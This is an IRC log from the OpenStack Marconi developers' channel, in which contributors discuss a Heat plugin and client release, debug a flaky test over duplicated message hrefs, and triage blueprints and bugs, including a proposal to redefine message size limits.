*** rongze has quit IRC | 00:03 | |
*** kgriffs_afk is now known as kgriffs | 00:19 | |
*** kgriffs is now known as kgriffs_afk | 00:29 | |
*** kgriffs_afk is now known as kgriffs | 01:20 | |
*** kgriffs is now known as kgriffs_afk | 01:30 | |
*** nosnos has joined #openstack-marconi | 01:48 | |
*** nosnos has quit IRC | 01:48 | |
*** nosnos has joined #openstack-marconi | 01:49 | |
*** liang has joined #openstack-marconi | 02:16 | |
*** kgriffs_afk is now known as kgriffs | 02:21 | |
*** rongze has joined #openstack-marconi | 02:26 | |
*** kgriffs is now known as kgriffs_afk | 02:31 | |
*** flwang has joined #openstack-marconi | 03:20 | |
*** kgriffs_afk is now known as kgriffs | 03:23 | |
*** mwagner_lap has quit IRC | 03:27 | |
*** kgriffs is now known as kgriffs_afk | 03:33 | |
*** haomaiwang has quit IRC | 03:35 | |
*** mwagner_lap has joined #openstack-marconi | 04:10 | |
*** kgriffs_afk is now known as kgriffs | 04:23 | |
*** nosnos_ has joined #openstack-marconi | 04:28 | |
*** nosnos has quit IRC | 04:31 | |
*** kgriffs is now known as kgriffs_afk | 04:34 | |
*** rongze has quit IRC | 04:54 | |
*** kgriffs_afk is now known as kgriffs | 05:25 | |
*** kgriffs is now known as kgriffs_afk | 05:34 | |
*** rongze has joined #openstack-marconi | 05:37 | |
*** rongze has quit IRC | 05:42 | |
*** nosnos_ has quit IRC | 05:57 | |
*** nosnos has joined #openstack-marconi | 05:58 | |
*** kgriffs_afk is now known as kgriffs | 06:25 | |
*** kgriffs is now known as kgriffs_afk | 06:35 | |
*** rongze has joined #openstack-marconi | 06:39 | |
*** rongze has quit IRC | 06:45 | |
*** rongze has joined #openstack-marconi | 06:59 | |
*** nosnos has quit IRC | 07:01 | |
*** nosnos has joined #openstack-marconi | 07:01 | |
*** flwang has quit IRC | 07:01 | |
*** flwang has joined #openstack-marconi | 07:03 | |
*** kgriffs_afk is now known as kgriffs | 07:26 | |
*** flwang has quit IRC | 07:31 | |
*** liang has quit IRC | 07:34 | |
*** flwang has joined #openstack-marconi | 07:34 | |
*** kgriffs is now known as kgriffs_afk | 07:36 | |
*** liang has joined #openstack-marconi | 07:45 | |
*** flaper87|afk is now known as flaper87 | 07:56 | |
*** flwang has quit IRC | 08:04 | |
*** liang has quit IRC | 08:06 | |
*** jraim has quit IRC | 08:09 | |
*** VeggieMeat has quit IRC | 08:10 | |
*** VeggieMeat has joined #openstack-marconi | 08:10 | |
*** kgriffs_afk is now known as kgriffs | 08:27 | |
*** flwang has joined #openstack-marconi | 08:30 | |
*** kgriffs is now known as kgriffs_afk | 08:37 | |
*** vizier has joined #openstack-marconi | 09:00 | |
*** yassine has joined #openstack-marconi | 09:11 | |
*** kgriffs_afk is now known as kgriffs | 09:28 | |
*** kgriffs is now known as kgriffs_afk | 09:38 | |
*** ermilo has joined #openstack-marconi | 09:42 | |
*** ermilo has quit IRC | 09:42 | |
*** flwang has quit IRC | 09:45 | |
*** nosnos has quit IRC | 10:07 | |
*** nosnos has joined #openstack-marconi | 10:07 | |
*** vizier has quit IRC | 10:15 | |
*** kgriffs_afk is now known as kgriffs | 10:29 | |
*** kgriffs is now known as kgriffs_afk | 10:39 | |
*** haomaiwang has joined #openstack-marconi | 10:56 | |
*** haomaiwang has quit IRC | 11:08 | |
*** haomaiwang has joined #openstack-marconi | 11:10 | |
*** rongze has quit IRC | 11:17 | |
*** jraim has joined #openstack-marconi | 11:19 | |
*** haomaiwa_ has joined #openstack-marconi | 11:21 | |
*** haomaiwang has quit IRC | 11:24 | |
*** rongze has joined #openstack-marconi | 11:26 | |
*** kgriffs_afk is now known as kgriffs | 11:30 | |
*** kgriffs is now known as kgriffs_afk | 11:40 | |
*** liang has joined #openstack-marconi | 11:55 | |
liang | flaper87, Hi | 11:56 |
---|---|---|
*** rongze has quit IRC | 11:58 | |
flaper87 | liang: hey | 12:00 |
*** vkmc has joined #openstack-marconi | 12:00 | |
*** vkmc has quit IRC | 12:00 | |
*** vkmc has joined #openstack-marconi | 12:00 | |
liang | flaper87, I just started the implementation of the message queue plugin in Heat | 12:00 |
liang | flaper87, I wonder when will marconiclient be available on pypi? So it can be included in requirments.txt. | 12:01 |
flaper87 | liang: erm that's a good question. I hope soon. There are some features missing but I'm planning to tackle them this week. I'd love to see it there before the end of the year. | 12:02 |
liang | flaper87, I see. Thanks for the information! I am afraid the message queue plugin may not be merged until that happens ;) But I can still make the patch ready and put it on Gerrit for some early feedback. | 12:06 |
flaper87 | liang: that sounds awesome. It's also a good motivation to get the client done asap | 12:08 |
liang | flaper87, hehe, yup | 12:10 |
liang | flaper87, do you know of a easy way to get queue herf through a queues.Queue object? It seems I need to concatenate the api endpoint and the queue name manually. | 12:16 |
*** kgriffs_afk is now known as kgriffs | 12:31 | |
*** rongze has joined #openstack-marconi | 12:40 | |
*** kgriffs is now known as kgriffs_afk | 12:41 | |
flaper87 | liang: the request object will do that for you | 12:46 |
flaper87 | liang: you don't need to do that manually | 12:46 |
flaper87 | ah, you mean you need it outside the request object? | 12:46 |
flaper87 | liang: what do you need queue's href for? (Out of curiosity) | 12:46 |
liang | flaper87, yup, outside the request object. I need to give the message queue resource/plugin an attribute, so that other resources can reference to it. | 12:48 |
liang | I mean other resources, like a VM instance, can consume it. | 12:48 |
*** flaper87 is now known as flaper87|afk | 13:06 | |
*** mwagner_lap has quit IRC | 13:11 | |
*** nosnos has quit IRC | 13:13 | |
*** ekarlso- has quit IRC | 13:23 | |
*** ekarlso has joined #openstack-marconi | 13:23 | |
*** pretorian has joined #openstack-marconi | 13:24 | |
*** rongze has quit IRC | 13:25 | |
*** pretorian has quit IRC | 13:25 | |
*** sballe has joined #openstack-marconi | 13:28 | |
*** thomasem has joined #openstack-marconi | 13:28 | |
*** kgriffs_afk is now known as kgriffs | 13:31 | |
*** flwang has joined #openstack-marconi | 13:36 | |
*** rongze has joined #openstack-marconi | 13:41 | |
*** kgriffs is now known as kgriffs_afk | 13:41 | |
*** flaper87|afk is now known as flaper87 | 13:48 | |
flaper87 | liang: mmh, interesting. I'll be back in a couple of minutes. I'd love to dig more on that need with you | 13:49 |
flaper87 | if you have time | 13:49 |
liang | flaper87, Sure, thank you very much! | 13:51 |
*** kgriffs_afk is now known as kgriffs | 13:57 | |
flwang | liang: am I missing anything? | 14:01 |
flwang | flaper87: has the weekly meeting been rescheduled to Tue? | 14:01 |
liang | flwang, I was asking if there is an easy way to get queue herf through a queues.Queue object. | 14:03 |
flwang | liang: got | 14:04 |
*** kgriffs is now known as kgriffs_afk | 14:06 | |
flaper87 | flwang: yup, re-scheduled to Tuesday | 14:12 |
flaper87 | same time | 14:12 |
flwang | flaper87: thanks for the confirmation :D | 14:13 |
flaper87 | liang: there's no easy one just yet. It'd be very easy to implement | 14:13 |
flaper87 | liang: I'd like to understand the underlying need | 14:13 |
flaper87 | We would like the client to be implemented in a follow-your-nose fashion | 14:14 |
flaper87 | and we're already doing some work server side to get there | 14:14 |
flaper87 | liang: ^ | 14:22 |
liang | flaper87, thanks a lot for the help! | 14:23 |
liang | flaper87, The reason I want a queue href is that once a queue is created, it will be consumed by other resources. | 14:24 |
liang | But anyway, the href can be figured out by the api endpoint and the queue name. | 14:24 |
liang | flaper87, BTW, Can we have the same queue names from different projects/tenants? The queue resource url - /v1/queues/{queue_name} seems not facilitating that. | 14:25 |
*** alcabrera has joined #openstack-marconi | 15:01 | |
*** rektide has quit IRC | 15:01 | |
*** alcabrera has quit IRC | 15:01 | |
*** haomaiwang has joined #openstack-marconi | 15:02 | |
*** rektide has joined #openstack-marconi | 15:02 | |
*** rongze has quit IRC | 15:02 | |
*** rongze has joined #openstack-marconi | 15:03 | |
*** tedross has joined #openstack-marconi | 15:05 | |
*** haomaiwa_ has quit IRC | 15:05 | |
*** alcabrera has joined #openstack-marconi | 15:07 | |
alcabrera | Good morning! | 15:07 |
*** haomaiwang has quit IRC | 15:08 | |
*** haomaiwang has joined #openstack-marconi | 15:09 | |
flaper87 | alcabrera: GOOOD MORNING! | 15:16 |
flaper87 | :) | 15:16 |
flaper87 | liang: yeah, you can use the same queue name in different projects | 15:17 |
flaper87 | the project-id is sent as a header, not an URL | 15:17 |
flaper87 | liang: what other resources should consume the Queue? | 15:17 |
*** rustlebee is now known as russellb | 15:17 | |
flaper87 | liang: what I'd like to understand is whether the Queue API is limited or not | 15:18 |
*** rongze has quit IRC | 15:30 | |
*** rongze has joined #openstack-marconi | 15:30 | |
*** haomaiwa_ has joined #openstack-marconi | 15:35 | |
*** jcru has joined #openstack-marconi | 15:36 | |
*** haomaiwang has quit IRC | 15:37 | |
*** jergerber has joined #openstack-marconi | 15:41 | |
*** haomaiwa_ has quit IRC | 15:42 | |
openstackgerrit | Malini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID https://review.openstack.org/60858 | 15:47 |
alcabrera | w00t - first new patch I've seen this week. ;) | 15:47 |
*** ayoung has joined #openstack-marconi | 15:48 | |
malini | lets see what jenkins thinks ;) | 15:48 |
alcabrera | haha | 15:48 |
malini | I would like to get feedback & build some consensus on how we use jsonschema for response validation -with this patch | 15:49 |
malini | I am planning to add similar validation for all API endpoints after this patch | 15:49 |
alcabrera | that sounds awesome. | 15:51 |
alcabrera | I'll review the patch soon. I'm working on triaging our 96 BPs, that are mostly in "Unknown" status: https://blueprints.launchpad.net/marconi + etherpad: https://etherpad.openstack.org/p/marconi-bp-triage | 15:52 |
alcabrera | flaper87: ^^ | 15:52 |
flaper87 | alcabrera: +1 thanks a lot! | 15:53 |
flaper87 | I'm about to jump into a call, I'll do the same in a bit! | 15:53 |
alcabrera | thanks! :D | 15:53 |
flaper87 | alcabrera: I reviewed Cindy's patch and added some comments. I'd love to get your thoughts there :) | 15:53 |
flaper87 | when you get a chance | 15:54 |
*** amitgandhi has joined #openstack-marconi | 15:54 | |
alcabrera | flaper87: I'll review it along with malini's patch. :) | 15:54 |
alcabrera | 20 more BPs to go! | 15:54 |
malini | I am fixing some jenkins errors now | 15:54 |
malini | or rather, errors jenkins found ;) | 15:54 |
flaper87 | HAHAHA | 15:54 |
alcabrera | Monday morning Jenkins! | 15:55 |
alcabrera | Great way to start the day. | 15:55 |
alcabrera | :P | 15:55 |
*** amitgandhi has quit IRC | 15:55 | |
*** amitgandhi has joined #openstack-marconi | 15:56 | |
*** tedross has quit IRC | 15:56 | |
openstackgerrit | Malini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID https://review.openstack.org/60858 | 16:00 |
*** kgriffs_afk is now known as kgriffs | 16:02 | |
*** namtaf has joined #openstack-marconi | 16:07 | |
*** namtaf has quit IRC | 16:07 | |
openstackgerrit | Malini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID https://review.openstack.org/60858 | 16:18 |
malini | alcabrera: http://logs.openstack.org/58/60858/3/check/gate-marconi-pypy/ce7cba8/console.html | 16:22 |
malini | this is weird because the same test passes with 26 & 27 | 16:23 |
malini | it fails on https://bugs.launchpad.net/marconi/+bug/1240897 which flwang fixed a while bak | 16:23 |
flwang | malini: what's problem? | 16:24 |
malini | this the duplicate messages showing up in href | 16:25 |
alcabrera | e.g., /v1/queues/{1}/messages/messages | 16:25 |
malini | for some reason I am getting becak this in the href ''/v1/queues/c33e0c6e-60ed-11e3-b4e8-bc764e05317e/messages/messages/5c6939ba' | 16:25 |
malini | ' | 16:25 |
malini | & this does not happen consistently :( | 16:25 |
malini | flwang: ^ | 16:26 |
alcabrera | seems to appear randomly, since py27 failed on the first patchset and pypy failed on the 3rd run. None of them failed on the second run. | 16:26 |
malini | See http://logs.openstack.org/58/60858/3/check/gate-marconi-pypy/ce7cba8/console.html | 16:26 |
flwang | malini: did you mean you're still running into the problem? | 16:26 |
malini | flwang: yes, but not consistently - tht is what confuses me | 16:26 |
alcabrera | malini: I'm reviewing the patch to see if I can find something to explain this. | 16:30 |
malini | thanks alcabrera | 16:30 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Remove the __MARCONI_SETUP_ global from init https://review.openstack.org/60124 | 16:33 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Don't use tuple parameters https://review.openstack.org/60122 | 16:33 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Use relative import for base in tests https://review.openstack.org/60123 | 16:33 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Remove gettext magic and import _ explicitly https://review.openstack.org/60120 | 16:33 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Disable keystone client if running under Py3K https://review.openstack.org/60121 | 16:33 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Remove the __MARCONI_SETUP_ global from init https://review.openstack.org/60124 | 16:35 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Don't use tuple parameters https://review.openstack.org/60122 | 16:35 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Use relative import for base in tests https://review.openstack.org/60123 | 16:35 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Remove gettext magic and import _ explicitly https://review.openstack.org/60120 | 16:35 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Disable keystone client if running under Py3K https://review.openstack.org/60121 | 16:35 |
flaper87 | (sorry guys) | 16:41 |
flaper87 | I messed up the first commit | 16:41 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Remove the __MARCONI_SETUP_ global from init https://review.openstack.org/60124 | 16:41 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Don't use tuple parameters https://review.openstack.org/60122 | 16:41 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Use relative import for base in tests https://review.openstack.org/60123 | 16:41 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Remove gettext magic and import _ explicitly https://review.openstack.org/60120 | 16:41 |
openstackgerrit | Flavio Percoco proposed a change to openstack/marconi: Disable keystone client if running under Py3K https://review.openstack.org/60121 | 16:41 |
alcabrera | flaper87: wow - nice rebasing! :D | 16:41 |
alcabrera | makes me feel productive looking at all those patches. | 16:41 |
*** rongze has quit IRC | 16:46 | |
*** acabrera has joined #openstack-marconi | 16:51 | |
*** alcabrera has quit IRC | 16:54 | |
*** acabrera is now known as alcabrera | 16:57 | |
kgriffs | flaper87: this has a priority but no milestone - seems like the opposite order of how bps are supposed to be triaged. | 16:58 |
kgriffs | flaper87: can you set the milestone and series? | 16:58 |
kgriffs | pretty please? | 16:59 |
kgriffs | with a cherry on top? | 16:59 |
kgriffs | and sprinkles? | 16:59 |
alcabrera | kgriffs: hey! :) | 16:59 |
kgriffs | flaper87: also, did you have a milestone in mind for this, or just holding off for now? https://blueprints.launchpad.net/marconi/+spec/marconi-horizon-integration | 16:59 |
kgriffs | alcabrera: hey hey hey | 17:00 |
* flaper87 waves | 17:00 | |
alcabrera | I triaged BPs this morning. Check out this etherpad: https://etherpad.openstack.org/p/marconi-bp-triage | 17:00 |
flaper87 | kgriffs: got lost about the milestone and series thing | 17:00 |
alcabrera | I proposed status changes for >90 BPs. | 17:00 |
alcabrera | kgriffs: ^^ | 17:00 |
flaper87 | kgriffs: re horizon, that sounds like i-3 to me | 17:00 |
kgriffs | sorry - forgot to paste the first link | 17:00 |
kgriffs | stand by | 17:01 |
flaper87 | kgriffs: LOOOL | 17:01 |
kgriffs | https://blueprints.launchpad.net/marconi/+spec/cross-transport-api-spec | 17:01 |
kgriffs | that one need a milestone | 17:01 |
kgriffs | and series | 17:01 |
flaper87 | ah that's i-2 | 17:01 |
flaper87 | kgriffs: done | 17:02 |
kgriffs | flaper87: thanks! | 17:02 |
kgriffs | alcabrera: thanks - I have been taking a pass through and just getting in-progress or coming-soon bp's updated to correct milestone and series | 17:02 |
flaper87 | kgriffs: that's Cindy's OPW project | 17:02 |
kgriffs | flaper87: I figured it was. :D | 17:02 |
flaper87 | I just re-assigned it to her | 17:03 |
*** reed has joined #openstack-marconi | 17:04 | |
alcabrera | awesome. :) | 17:04 |
kgriffs | alcabrera, flaper87: something I'd like to start doing at the weekly meeting is going through each bp that is scheduled for the next milestone and ask for updates, adjusting the bp fields as appropriate | 17:08 |
flaper87 | kgriffs: +1 | 17:08 |
kgriffs | same thing for bugs | 17:08 |
alcabrera | kgriffs: +1 | 17:08 |
alcabrera | very much agreed. | 17:08 |
kgriffs | outside of those, I am only going to pay attention to things that the submitter set the milestone for | 17:09 |
flaper87 | actually, I know it may seem more time consuming but somehow, I think doing that off-line makes more sense | 17:09 |
alcabrera | It was bugging me early this morning that so many BPs and bugs are kind of hanging in limbo. | 17:09 |
flaper87 | Just like the project updates are done | 17:09 |
kgriffs | the usual OpenStack process is that whoever submits teh blueprint sets a proposed milestone | 17:09 |
kgriffs | then we triage it, set it's priority, maybe update milestone | 17:09 |
flaper87 | they're basically meeting outside the meeting time and discuss the current status of the project | 17:09 |
kgriffs | hmm | 17:10 |
kgriffs | i think Heat discusses the state of the project during their team mtg | 17:10 |
kgriffs | but I could be wrong | 17:10 |
flaper87 | thing is that, at this very moment, I think we're still in the phase where lot of discussions need to happen in the meeting and that's the time where we can get our heads toghether on a specific topic | 17:10 |
kgriffs | seems like we should be able to plow through the active bps pretty quickly | 17:10 |
flaper87 | most of the projects do | 17:10 |
kgriffs | triaging can happen outside that | 17:11 |
flaper87 | the project meeting I was talking about is the "Release Cycle Project meeting" | 17:11 |
flaper87 | ttx against all | 17:11 |
flaper87 | :D | 17:11 |
kgriffs | oic | 17:11 |
flaper87 | or all against ttx | 17:11 |
flaper87 | mmh | 17:11 |
flaper87 | :D | 17:11 |
flaper87 | I guess we could evaluate that in a case-by-case basis | 17:11 |
flaper87 | if the next meeting slot needs to be used to discuss X | 17:12 |
flaper87 | we can take the bp / bug status out of the agenda | 17:12 |
kgriffs | yeah - maybe it is a standing agenda item with a "if we have time" star next to it | 17:12 |
alcabrera | seems our next meeting agenda is pretty open. | 17:12 |
openstackgerrit | Malini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID https://review.openstack.org/60858 | 17:12 |
alcabrera | graduation and action review are the pending hot topics. | 17:12 |
* flaper87 silently checks if there are 'action items' | 17:13 | |
alcabrera | there are a few, heh. I started reaching out to docs-team today about Marconi docs. :P | 17:15 |
kgriffs | flaper87: https://blueprints.launchpad.net/marconi/+spec/devstack-support | 17:15 |
kgriffs | implemented? | 17:15 |
flaper87 | kgriffs: FUCK YEAH! | 17:15 |
kgriffs | w00t | 17:15 |
kgriffs | can u update the status? | 17:16 |
* flaper87 is doing that | 17:16 | |
flaper87 | kgriffs: done | 17:16 |
kgriffs | flaper87: I think this one is mostly done | 17:16 |
kgriffs | but | 17:16 |
kgriffs | https://blueprints.launchpad.net/marconi/+spec/change-marconi-structure | 17:16 |
flaper87 | yeah, we should mark it as implemented | 17:17 |
kgriffs | ok | 17:17 |
*** rongze has joined #openstack-marconi | 17:17 | |
alcabrera | w00t | 17:17 |
* kgriffs does that | 17:17 | |
alcabrera | I love seeing these cleaned up. :D | 17:17 |
kgriffs | tangent... | 17:17 |
alcabrera | this one is also implemented, in the sense that it's been superseded: https://blueprints.launchpad.net/marconi/+spec/placement-service (proxy) | 17:18 |
alcabrera | There's a few other proxy-related ones that have been superseded. | 17:18 |
kgriffs | alcabrera: can you change the definition status on those to "superseded"? | 17:19 |
alcabrera | kgriffs: sure thing | 17:20 |
kgriffs | 'tanks | 17:20 |
flaper87 | kgriffs: alcabrera btw, updates about https://blueprints.launchpad.net/marconi/+spec/heat-template | 17:20 |
flaper87 | liang: is taking care of that | 17:20 |
flaper87 | w00000000000t | 17:20 |
flaper87 | he already started working on the templates | 17:21 |
kgriffs | excellent | 17:21 |
flaper87 | One thing, though, we need to release marconiclient for it to be accepted in Heat | 17:21 |
flaper87 | so, another reason to work harder on it! | 17:21 |
* flaper87 hacked on the client yday | 17:21 | |
flaper87 | I'll submit a new patch soon | 17:21 |
flaper87 | stay tuned | 17:21 |
flaper87 | malini: you should take this one: https://blueprints.launchpad.net/marconi/+spec/tempest-integration | 17:22 |
kgriffs | flaper87: SHOW ME THE <del>MONEY!</del> CODE! | 17:22 |
malini | flaper87: sure..I am already on it | 17:23 |
kgriffs | the gerrit list looks so...empty. It's like a white sky on a snowy day. | 17:23 |
alcabrera | lol | 17:23 |
* kgriffs shivers | 17:23 | |
malini | somebody shud assign that to me https://blueprints.launchpad.net/marconi/+spec/tempest-integration | 17:23 |
kgriffs | will do | 17:23 |
alcabrera | flaper87: glad to hear someone is tackling heat integration! Also, marconiclient seems to be coming along wonderfully. :D | 17:23 |
alcabrera | malini: I'll assign you. | 17:24 |
kgriffs | malini: done | 17:24 |
malini | thanks!! | 17:24 |
* kgriffs blows off end of revolver and replaces in holster | 17:24 | |
alcabrera | well, kgriffs beat me. :P | 17:24 |
alcabrera | I "Approved" it. | 17:24 |
kgriffs | alcabrera, flaper87: I like the idea of leaving the mtg agenda pretty sparse for tomorrow | 17:25 |
kgriffs | I want to spend the time just getting all our bps/bugs cleaned up | 17:26 |
malini | alcabrera: I didnt use the name schema.py, coz cpallares has this one outstanding https://review.openstack.org/#/c/59508/ | 17:26 |
flaper87 | kgriffs: +1 | 17:26 |
malini | alcabrera: didnt want the identical file names to create confusion | 17:26 |
alcabrera | malini: I'm not opposed to identical file names when they explain the contents best. In this case, I don't expect collisions. We use 'errors.py' and 'utils.py' in many places through the code base. | 17:27 |
alcabrera | kgriffs: +1 | 17:27 |
malini | alcabrera: tht sounds reasonable..I'll change the file name..I like schema.py better too ;) | 17:28 |
*** rongze has quit IRC | 17:28 | |
alcabrera | malini: awesome. :D | 17:28 |
kgriffs | malini: do you have some time today at 3pm EST to do some bug triaging? | 17:43 |
malini | sure kgriffs | 17:43 |
kgriffs | kk | 17:44 |
kgriffs | malini, alcabrera: send you an invite | 17:45 |
kgriffs | s/send/sent | 17:45 |
alcabrera | kgriffs: ack'd | 17:45 |
openstackgerrit | Malini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID https://review.openstack.org/60858 | 17:46 |
*** rongze has joined #openstack-marconi | 17:54 | |
*** JRow has joined #openstack-marconi | 18:00 | |
openstackgerrit | Malini Kamalambal proposed a change to openstack/marconi: Verify response jsonschema for List Messages by ID https://review.openstack.org/60858 | 18:04 |
alcabrera | malini: +2 from me. Thanks! :D | 18:07 |
malini | jenkins is still flaky :( | 18:07 |
alcabrera | malini: whatever is going on there seems indicative of an underlying bug. | 18:09 |
alcabrera | I don't blame these tests for causing it - only for finding the bug. | 18:09 |
malini | flwang: when you get a chance, can you plz take a look at this? | 18:10 |
*** rongze has quit IRC | 18:37 | |
*** cindy_ has joined #openstack-marconi | 18:47 | |
*** cindy_ is now known as cpallares | 18:49 | |
alcabrera | cpallares: hey! :) | 18:57 |
cpallares | hi alcabrera! | 18:57 |
cpallares | how are you? | 18:58 |
alcabrera | great! It's nice and cold today. How about you? | 18:58 |
cpallares | alcabrera: I'm good. I'm a little sick. I came down with a cold this weekend :( | 19:05 |
alcabrera | dang. I hope you get better soon! | 19:07 |
cpallares | alcabrera: thanks, I've gotten way better since Saturday :D | 19:25 |
alcabrera | cpallares: glad to hear it! :D | 19:32 |
alcabrera | cpallares: I reviewed your patch again since last time. flaper87 found some issues. It's getting close, though. :) | 19:32 |
cpallares | alcabrera: thanks! | 19:38 |
malini | flaper87: ping | 19:39 |
cpallares | alcabrera: are the names (like claim_get and claim_update) in the wsgi code? I couldn't find them. | 19:39 |
alcabrera | cpallares: no. I think it's defined in marconilcient | 19:41 |
alcabrera | so, I found this: https://github.com/openstack/python-marconiclient/blob/master/marconiclient/queues/v1/api.py | 19:41 |
alcabrera | that should be it | 19:41 |
alcabrera | 'cept... | 19:41 |
alcabrera | claims aren't defined yet. | 19:41 |
cpallares | alcabrera: ah it's cause I'm suppose to add them. I was just wondering if the names were arbitrary. | 19:42 |
alcabrera | cpallares: they are at this point, as far as I can tell. I defer to flaper87 since he's done some of this jsonschema-izing of the API. :D | 19:43 |
alcabrera | malini, kgriffs: ready to bug triage whenever | 19:43 |
kgriffs | o/ | 19:44 |
malini | o/ | 19:44 |
kgriffs | http://goo.gl/uKe5gp | 19:44 |
kgriffs | let's just walk down the list in order | 19:45 |
kgriffs | [api] homedoc should return relative URIs or encode version in href-template | 19:45 |
alcabrera | still in progress, as far as I can tell. | 19:45 |
kgriffs | looks like Fei started work on that today? | 19:45 |
malini | yeap | 19:45 |
kgriffs | malini: any questions? | 19:46 |
malini | no | 19:46 |
kgriffs | ok | 19:46 |
kgriffs | I think my paste I put on there finally got the bottom of the issue, but if anybody is still confused, p-p-ping me | 19:47 |
kgriffs | next | 19:47 |
kgriffs | Autoreconnect not handled in all cases | 19:47 |
* kgriffs hides | 19:47 | |
alcabrera | lol | 19:47 |
kgriffs | Let me put this on my short list of "things to do next before the team kills me" | 19:47 |
alcabrera | you'll hear from oz_akan if it gets bad. :P | 19:48 |
malini | will that be tested in unit test or does tht need a functional ? | 19:48 |
kgriffs | hmm | 19:48 |
alcabrera | it's a tricky one | 19:48 |
kgriffs | I'd say functional because you have to have a repl set and step down the master to cause a failover | 19:48 |
malini | it seems to be one of those things to be tested manually | 19:48 |
alcabrera | basically, however it's tested, it needs to verify that autoreconnect is handled in all paths where we communicate with mongodb | 19:48 |
kgriffs | malini: I'm sure Oz can tutor you in saltstack | 19:48 |
kgriffs | (to orchestrate MongoDB) | 19:49 |
kgriffs | ;) | 19:49 |
malini | tht sounds like a good idea | 19:49 |
kgriffs | tangent: I keep hearing good things about Salt - I think it is going to take over the world | 19:49 |
malini | I have wanted to try salt for a while now | 19:49 |
kgriffs | </tangent> | 19:49 |
alcabrera | I wonder - if it'll be Salt or Ansible. I've heard good on both. </endcomment> | 19:49 |
kgriffs | ah yes, Ansible is gaining traction too | 19:50 |
kgriffs | aaaaanyway | 19:50 |
alcabrera | yup | 19:50 |
kgriffs | Layer 3 errors in MongoDB driver not handled gracefully | 19:50 |
kgriffs | so, this deps on the previous | 19:50 |
alcabrera | hmmm... | 19:50 |
kgriffs | (because logic is similar) | 19:50 |
alcabrera | didn't we drop the partial success concept? | 19:50 |
alcabrera | or are in the process of dropping partial success? | 19:50 |
kgriffs | alcabrera: yes, I need to update the description | 19:51 |
kgriffs | stand by | 19:51 |
kgriffs | updated | 19:51 |
* kgriffs loves the words "thing" and "something" | 19:51 | |
kgriffs | moving on | 19:52 |
kgriffs | "[wsgi] Message body size validation is slow" | 19:52 |
kgriffs | ah yes | 19:52 |
kgriffs | i forgot about this | 19:52 |
alcabrera | yup | 19:52 |
alcabrera | the awesome reserialization that we do | 19:53 |
kgriffs | so... I think we got rough consensus to just "fix" this by redefining message size constraints | 19:53 |
alcabrera | yup | 19:53 |
alcabrera | and to be strict about whitespace - no vacumminig | 19:53 |
alcabrera | we just take it as it is | 19:53 |
alcabrera | *vacumming | 19:53 |
kgriffs | can one of you tackle megan_w and <del>force</del> convince her to give her blessing? | 19:54 |
malini | sure | 19:54 |
kgriffs | so, to clarify | 19:54 |
kgriffs | the proposal is to redefine the message size limits as follows: | 19:54 |
alcabrera | *vacuuming (strangest of words) | 19:54 |
flaper87 | malini: pong | 19:54 |
kgriffs | a message post body can be up to size X | 19:55 |
malini | flaper87: had a question on devstack marconi - will it run a marconi server with a devstack installation? | 19:55 |
kgriffs | where X is configurable by the operator | 19:55 |
kgriffs | including whitespace | 19:55 |
flaper87 | malini: correct | 19:55 |
flaper87 | malini: you don't need to run the whole thing | 19:55 |
flaper87 | you can disable everything but keystone | 19:55 |
kgriffs | that essentially makes a message size be a max of up to X - b | 19:56 |
malini | flaper87: aah..how do I do tht? I think all I have is horizon & keystone | 19:56 |
kgriffs | where b is number of bytes to encode the JSON array envelope | 19:56 |
kgriffs | flaper87: ^^^ need ur blessing on this as well | 19:57 |
flaper87 | malini: http://paste.openstack.org/show/54723/ | 19:57 |
* flaper87 reading | 19:57 | |
* kgriffs eating | 19:58 | |
* kgriffs non nom nom | 19:58 | |
* flaper87 eats kgriffs's food and keeps reading | 19:58 | |
flaper87 | Ah yeah, I remember the size thing | 19:59 |
flaper87 | yeah, I agree with the proposal | 19:59 |
kgriffs | yay | 19:59 |
alcabrera | cool | 19:59 |
flaper87 | the max_lenght is X | 19:59 |
flaper87 | and you can send N messages up to max_lenght X | 19:59 |
kgriffs | seems like we talked about it once before but I wanted to make sure we all understood the same thing | 19:59 |
kgriffs | right | 20:00 |
flaper87 | I like the idea | 20:00 |
flaper87 | it's simple | 20:00 |
flaper87 | easy to understand | 20:00 |
kgriffs | so if I only send a single message it could be almost size X | 20:00 |
flaper87 | and flexible enough | 20:00 |
kgriffs | and fast! | 20:00 |
flaper87 | which is even more important | 20:00 |
flaper87 | who cares about users | 20:00 |
* flaper87 hides | 20:00 | |
* kgriffs likes fast things | 20:00 | |
* kgriffs shoots a paint bullet while flipping wrist to hit flaper87 around the corner | 20:01 | |
* flaper87 yells: ouuuch | 20:01 | |
alcabrera | :P | 20:01 |
alcabrera | such colorful arguments we have here. | 20:02 |
* kgriffs saw it done once in an indian movie | 20:02 | |
kgriffs | #action alcabrera and malini to convince megan_w that this approach is The Right Way(tm) | 20:02 |
kgriffs | (or die trying) | 20:02 |
malini | kgriffs: you can get more creative ideas if you watch a few more ;) | 20:03 |
alcabrera | kgriffs: action accepted | 20:03 |
alcabrera | :D | 20:03 |
kgriffs | malini: you'll have to send me some suggestions! | 20:03 |
kgriffs | so, that would take care of those two bugs | 20:03 |
kgriffs | we would need a patch to clean up the code | 20:03 |
kgriffs | I volunteer | 20:03 |
*** cpallares has quit IRC | 20:04 | |
kgriffs | malini: teh testses will needs to be updateded | 20:04 |
*** rongze has joined #openstack-marconi | 20:04 | |
